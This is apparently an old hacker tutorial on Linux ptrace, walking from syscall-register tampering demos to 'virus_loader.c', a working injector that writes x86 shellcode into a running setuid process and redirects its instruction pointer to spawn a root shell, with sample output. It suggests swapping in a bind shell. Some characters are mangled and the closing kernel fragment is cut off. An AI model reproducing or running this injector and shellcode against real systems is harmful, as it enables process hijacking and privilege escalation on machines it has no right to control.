/* target1.c */
#include <stdio.h>
#include <unistd.h>
int main() {
char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str));
return 0;
}
/* end target1.c */
(.)Output:
$./target1
Hi
Sup Guys?
$
And here below you will find the tracer1.c code:
/* tracer1.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer1.c */
(.)Output:
#./tracer1 /home/omni/target1
Hi
#
Ehy what's that? As you can see the output of tracer1 is *Hi\n* !
But why? Look at the tracer1.c source code; there is an "important" assignment:
[...]
regs.edx = 3;
[...]
We set the register edx to 3 (maximum length of "string" in our write() syscall).
Look in depth what the tracer1 do:
1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced
Eg:
write(0, -> stdout
"Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3)
3); -> modified by edx (edx = 3)
Do you get it? Simple right? ;)
Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!
/* target2.c */
#include <stdio.h>
#include <unistd.h>
int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}
/* end of target2.c */
(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)
And now.. tracer2.c :
/* tracer2.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /home/omni/articles/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //set ebx to 0 (root access)
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer2.c */
(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Killed!
#
If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.
[... in the child ...]
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
[....]
Just trace the process..
[... in the parent ...]
1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax;
3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
[....]

/* simple.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[1024];
scanf("%s", buf);
printf("-> %s\n", buf);
}
/* end of simple.c */
$ gcc simple.c -o simple
# chmod u+s simple
(.) Output:
$ ./simple
Hi
-> Hi
$

/* virus_loader.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);
int main(int argc, char *argv[]) {
pid_t pid; //pid of the ELF that we have to infect
struct user_regs_struct regs; //CPU registers
long address; //where we will put our virus payload
if (argc < 2) {
printf("usage: %s <ELF-pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
//ATTACH to the pid
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ATTACH");
return -1;
}
// Wait the child.. (the *attached* ELF is the child)
int status = 0;
wait(&status);
printf("[+] %d ATTACHED\n", pid);
//get the CPU registers and put it in our
//struct regs
//We will use it soon..
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
//calculate the address were we have to PUT our
//virus payload (we will put it into ESP - 1024)
printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;
printf("[+] Virus Payload at address: 0x%.8x\n", address);
//inject function is called.. (see below)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
return -1;
}
//EIP now *points* to our virus payload
regs.eip = address + 2;
printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//It's time to set EIP and let its to point
//to our virus payload
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[+] Shell Spawned !!\n");
return 0;
}
// Injection Function
int inject(pid_t pid, long addr, void *virus, int len) {
long payload;
int i = 0;
//copy virus payload into *address* memory (esp - 1024)
while (i < len) {
memcpy(&payload, virus, 4);
//insert the payload into the memory
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
addr += 4;
virus += 4;
i += 4;
}
return 0;
}
/* end of virus_loader.c */
Let's try it..
--- [ Shell 1 ] ---
$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*
[suid bit ACTIVATED]
$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#
--- [ Shell 2 ] ---
# ps -A | grep simple
4779 pts/3 00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#
Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.
-----------------------------------------------------------------------------[/]

if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!